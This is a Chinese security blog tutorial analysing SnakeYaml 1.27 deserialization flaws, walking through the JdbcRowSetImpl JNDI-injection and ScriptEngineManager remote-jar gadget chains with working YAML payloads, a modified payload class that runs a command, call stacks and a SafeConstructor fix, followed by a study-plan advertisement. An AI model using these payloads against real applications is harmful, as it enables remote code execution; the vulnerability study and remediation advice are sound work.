Java安全之SnakeYaml漏洞分析与利用

1. 简介

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

yaml基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进只允许使用空格
  • #表示注释
  • 支持对象、数组、纯量这3种数据结构

示例

yaml对象:

key: 
    child-key: value
    child-key2: value2

yaml数组:

companies:
    -
        id: 1
        name: company1
        price: 200W
    -
        id: 2
        name: company2
        price: 500W

意思是 companies 属性是一个数组,每一个数组元素又是由 id、name、price 三个属性构成
详细参考:YAML 入门教程 | 菜鸟教程

SnakeYaml库

SnakeYaml提供了yaml数据和Java对象相互转换的API,即能够对数据进行序列化与反序列化。

  • Yaml.load():将yaml数据反序列化成一个Java对象
  • Yaml.dump():将Java对象序列化成yaml

2. 示例

环境:JDK1.8_66
Maven导入依赖:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

序列化:

Person类:

package SnakeYaml;

public class Person {
    private String username;
    private int age;

    public Person() {}
    public Person(String username, int age) {
        this.username = username;
        this.age = age;
    }

    public int getAge() {
        return age;
    }

    public String getUsername() {
        return username;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setUsername(String username) {
        this.username = username;
    }
}

测试类:

package SnakeYaml;

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        Person person = new Person("mike", 18);
        String str = yaml.dump(person);
        System.out.println(str);
    }
}

输出结果:

!!SnakeYaml.Person {age: 18, username: mike}

注:这里的!!应该类似于一个标识符,表示对应的类名
注: 序列化过程会触发类属性对应的get方法

反序列化

package SnakeYaml;

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        // 反序列化
        String str = "!!SnakeYaml.Person {age: 18, username: mike}";
        Yaml yaml = new Yaml();
        Person person = (Person) yaml.load(str);
        System.out.println(person);
    }
}

输出结果:

SnakeYaml.Person@48533e64

注: 反序列化过程会触发类属性对应的set方法

3. 漏洞复现与分析

环境 :SnakeYaml1.27 JDK1.8_66
复现与分析
使用工具开启LDAP服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"

POC:

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}

测试类:

package SnakeYaml;

import org.yaml.snakeyaml.Yaml;

public class PocTest1 {
    public static void main(String[] args) {
        String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/5cjybz, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

函数调用栈:

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:9, PocTest1 (SnakeYaml)

一步一步走流程,先来到Yaml类中的load方法

public <T> T load(String yaml) {
    // 实例化一个StreamReader对象
    return this.loadFromReader(new StreamReader(yaml), Object.class);
}

继续来到Yaml类中的loadFromReader方法

private Object loadFromReader(StreamReader sreader, Class<?> type) {
    Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);
    this.constructor.setComposer(composer);
    // 进入这里
    return this.constructor.getSingleData(type);
}

进入BaseConstructor的getSingleData方法

public Object getSingleData(Class<?> type) {
    // 获取单个Node对象,用于表示Yaml文档中的一个节点
    Node node = this.composer.getSingleNode();
    // 检查获取的节点是否存在且不是空标签
    if (node != null && !Tag.NULL.equals(node.getTag())) {
        if (Object.class != type) {
            node.setTag(new Tag(type));
        } else if (this.rootTag != null) {
            node.setTag(this.rootTag);
        }
        // 将节点转换成Java对象并且返回
        // 进入这里
        return this.constructDocument(node);
    } else {
        // 获取与空标签关联的Construct实例, 并且将其实例化返回
        Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
        return construct.construct(node);
    }
}

继续进入constructDocument函数看看如何转换成Java对象的

protected final Object constructDocument(Node node) {
    Object var3;
    try {
        // 将yaml节点转换成Java对象
        // 进入这里
        Object data = this.constructObject(node);
        // 递归,通常在yaml文档包含嵌套结构时使用
        this.fillRecursive();
        var3 = data;
    } catch (RuntimeException var7) {
        if (this.wrappedToRootException && !(var7 instanceof YAMLException)) {
            throw new YAMLException(var7);
        }

        throw var7;
    } finally {
        this.constructedObjects.clear();
        this.recursiveObjects.clear();
    }

    return var3;
}

继续查看constructObject函数

protected Object constructObject(Node node) {
    // 判断当前属性中是否存在与当前节点对应的Java对象,如果存在则返回该对象,如果不存在则调用constructObjectNoCheck方法创建
    return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}

这里的this.constructedObjects属性中并没有对应的节点,所以只能调用constructObjectNoCheck函数创建

protected Object constructObjectNoCheck(Node node) {
    // 表示当前节点是一个无法构造的递归节点,即不能与其他节点相互引用
    if (this.recursiveObjects.contains(node)) {
        throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
    } else {
        // 将当前节点添加到recursiveObjects属性中,以便后续检查是否存在递归引用
        this.recursiveObjects.add(node);
        // 使用getConstructor方法获取当前节点的构造器
        Construct constructor = this.getConstructor(node);
        // 如果constructedObjects属性中存在与当前节点对应的Java对象,则返回该对象。如果不存在,则调用constructor.construct方法构造Java对象
        // 进入这里
        Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
        // 在构造对象之后,调用finalizeConstruction方法对其进行后续处理,例如检查是否存在未解析的属性、设置默认值等
        this.finalizeConstruction(node, data);
        // 将当前节点和对应的Java对象存储在constructedObjects属性中,以便在后续处理中使用
        this.constructedObjects.put(node, data);
        // 将当前节点从recursiveObjects属性中移除,以便在后续处理中不再检查是否存在递归引用
        this.recursiveObjects.remove(node);
        //如果当前节点需要两步构造,则调用constructor.construct2ndStep方法完成第二步构造
        if (node.isTwoStepsConstruction()) {
            constructor.construct2ndStep(node, data);
        }

        return data;
    }
}

这里的constructor是ConstructYamlObject对象,查看其construct方法

public Object construct(Node node) {
    try {
        // 使用getConstructor方法获取当前节点的构造器
        return this.getConstructor(node).construct(node);
    } catch (ConstructorException var3) {
        throw var3;
    } catch (Exception var4) {
        throw new ConstructorException((String)null, (Mark)null, "Can't construct a java object for " + node.getTag() + "; exception=" + var4.getMessage(), node.getStartMark(), var4);
    }
}

获取到的构造器是ConstructMapping对象,进入其construct函数

public Object construct(Node node) {
    // 将node转换为MappingNode类型
    MappingNode mnode = (MappingNode)node;
    // 如果当前节点的类型是Map或其子类,则调用newMap或constructMapping方法构造Java对象
    if (Map.class.isAssignableFrom(node.getType())) {
        return node.isTwoStepsConstruction() ? Constructor.this.newMap(mnode) : Constructor.this.constructMapping(mnode);
    } else if (Collection.class.isAssignableFrom(node.getType())) {
        // 如果当前节点的类型是Collection或其子类,则调用newSet或constructSet方法构造Java对象,并返回该对象
        return node.isTwoStepsConstruction() ? Constructor.this.newSet(mnode) : Constructor.this.constructSet(mnode);
    } else {
        // 如果当前节点的类型不是Map或Collection的子类,则调用newInstance方法创建一个新的Java对象,并返回该对象
        Object obj = Constructor.this.newInstance(mnode);
        // 如果当前节点需要两步构造,则调用constructJavaBean2ndStep方法完成第二步构造。如果不需要两步构造,则直接返回构造的Java对象
        return node.isTwoStepsConstruction() ? obj : this.constructJavaBean2ndStep(mnode, obj);
    }
}

在constructJavaBean2ndStep函数中,会获取yaml格式数据中的属性键值对,调用property.set()来设置上面实例化对象的属性![](https://img-
blog.csdnimg.cn/719d15b22259498990031ccf52efd16e.png)

在MethodProperty类的set方法中,获取了响应属性的方法进行invoke

public void set(Object object, Object value) throws Exception {
    if (!this.writable) {
        throw new YAMLException("No writable property '" + this.getName() + "' on class: " + object.getClass().getName());
    } else {
        // 这里
        this.property.getWriteMethod().invoke(object, value);
    }
}

即会调用JdbcRowSetImpl的setAutoCommit方法,这样就成功触发了JdbcRowSetImpl链和JNDI注入了

ScriptEngineManager链

什么是SPI机制
SPI(Service Provider Interface),
JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META- INF/services文件夹下查找文件,自动加载文件中所定义的类
例如以mysql-connector包为例:![](https://img-
blog.csdnimg.cn/484c248d98ee4c3bb10d147e8bef2a14.png)

而Dirver类中的内容是:

package com.mysql.cj.jdbc;

import java.sql.DriverManager;
import java.sql.SQLException;

public class Driver extends NonRegisteringDriver implements java.sql.Driver {
    public Driver() throws SQLException {
    }

    static {
        try {
            DriverManager.registerDriver(new Driver());
        } catch (SQLException var1) {
            throw new RuntimeException("Can't register driver!");
        }
    }
}

这个Driver类实现了java.sql.Driver接口,这段代码主要是将当前类的实例注册为MySQL数据库的驱动程序,实现了一个MySQL数据库的Java驱动程序,这个方法会在JVM启动时执行,从而确保了该驱动程序在应用程序启动时已经被注册。当应用程序需要连接MySQL数据库时,可以通过DriverManager类的getConnection()方法获取com.mysql.cj.jdbc.Driver类的实例,进而建立MySQL数据库连接

环境 :SnakeYaml1.27 JDK1.8_66
复现与分析
POC:

package SnakeYaml;

import org.yaml.snakeyaml.Yaml;

public class PocTest2 {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tlk0u6qn.eyes.sh\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

dnslog平台出现请求记录,用于验证是否存在该漏洞且ScriptEngineManager链是否可用

命令执行
现成的利用项目:[GitHub - artsploit/yaml-payload: A tiny project for generating
SnakeYAML deserialization payloads](https://github.com/artsploit/yaml-
payload.git “GitHub - artsploit/yaml-payload: A tiny project for generating
SnakeYAML deserialization payloads”)
更改里面的命令执行代码,使用以下命令进行编译即可

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

注意:一定要使用一致的java版本进行编译
其中在META/services文件夹的文件中,里面的内容即是我们的恶意类

在AwesomeScriptEngineFactory类中,它实现了ScriptEngineFactory接口

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            // Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            // Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

根据上面mysql的例子可以猜测到,在ScriptEngineFactory类中应该有对我们构造的恶意类实例化的过程,在实例化时会自动调用构造函数从而导致命令执行
在生成的jar文件目录下开启web服务

python -m http.server 8080

POC:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8080/yaml-payload.jar"]
  ]]
]

测试类:

package SnakeYaml;

import org.yaml.snakeyaml.Yaml;

public class PocTest2 {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

函数调用栈:

nextService:381, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:10, PocTest2 (SnakeYaml)

前面的大致步骤还是和JdbcRowSetImpl链的过程一致,这里的关键在于Constructor不一致,这里是ConstructSequence,在对ScriptEngineManager实例化的过程中就会触发命令执行![](https://img-
blog.csdnimg.cn/26f61bc58700447287e321f1290017db.png)

接下来就来看一下ScriptEngineManager链的利用过程
首先来到其构造函数,传入的loader是URLClassLoader

public ScriptEngineManager(ClassLoader loader) {
    init(loader);
}

进入init函数,都是一些属性的初始化,最后调用initEngines函数,传入loader![](https://img-
blog.csdnimg.cn/869a269517bc46fb83e75f45f212d73c.png)

直到这一步,itr是ServiceLoader对象,会调用其next方法

public S next() {
    if (knownProviders.hasNext())
        return knownProviders.next().getValue();
    // 这里
    return lookupIterator.next();
}

lookupIterator是ServiceLoader$LazyIterator,调用其next方法

public S next() {
    if (acc == null) {
        // 这里
        // 获取下一个服务对象并将其返回
        return nextService();
    } else {
        // 系统中存在一个安全管理器(SecurityManager 类的一个实例),这时方法需要在特权上下文中运行
        PrivilegedAction<S> action = new PrivilegedAction<S>() {
            public S run() { return nextService(); }
        };
        // 这个方法在特权上下文中执行 PrivilegedAction<S> 对象的 run() 方法,这意味着它拥有 acc 所引用的 SecurityManager 对象授予的权限。run() 方法的结果作为 doPrivileged() 方法的结果返回,进而作为 next() 方法的结果返回
        return AccessController.doPrivileged(action, acc);
    }
}

这段代码用于在存在安全管理器的系统中以安全的方式获取下一个服务对象,这里直接进nextService函数

private S nextService() {
    // 检查是否还有下一个服务对象
    if (!hasNextService())
        throw new NoSuchElementException();
    // 获取下一个服务对象的类名
    String cn = nextName;
    nextName = null;
    Class<?> c = null;
    try {
        c = Class.forName(cn, false, loader);
    } catch (ClassNotFoundException x) {
        fail(service,
                "Provider " + cn + " not found");
    }
    // 如果获取类成功,方法将检查该类是否是 service 类型的子类
    if (!service.isAssignableFrom(c)) {
        fail(service,
                "Provider " + cn  + " not a subtype");
    }
    try {
        // 如果该类是 service 类型的子类,方法将会尝试通过cast方法创建一个实例对象 p,并将其存储到 providers 集合中
        // 这里
        S p = service.cast(c.newInstance());
        providers.put(cn, p);
        return p;
    } catch (Throwable x) {
        fail(service,
                "Provider " + cn + " could not be instantiated",
                x);
    }
    throw new Error();          // This cannot happen
}

这里就是URL中jar包对应的恶意类,其构造方法中就存在命令执行函数

4. 修复

  • 禁止yaml.load方法中的参数可控

  • 使用Yaml yaml = new Yaml(new SafeConstructor());
    org\yaml\snakeyaml\constructor\SafeConstructor.class构造函数中定义了反序列化类的白名单:

  • public SafeConstructor(LoaderOptions loadingConfig) {
    

    super(loadingConfig);
    this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
    this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
    this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
    this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
    this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
    this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
    this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
    this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
    this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
    this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
    this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
    this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
    this.yamlConstructors.put((Object)null, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
    this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
    }

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值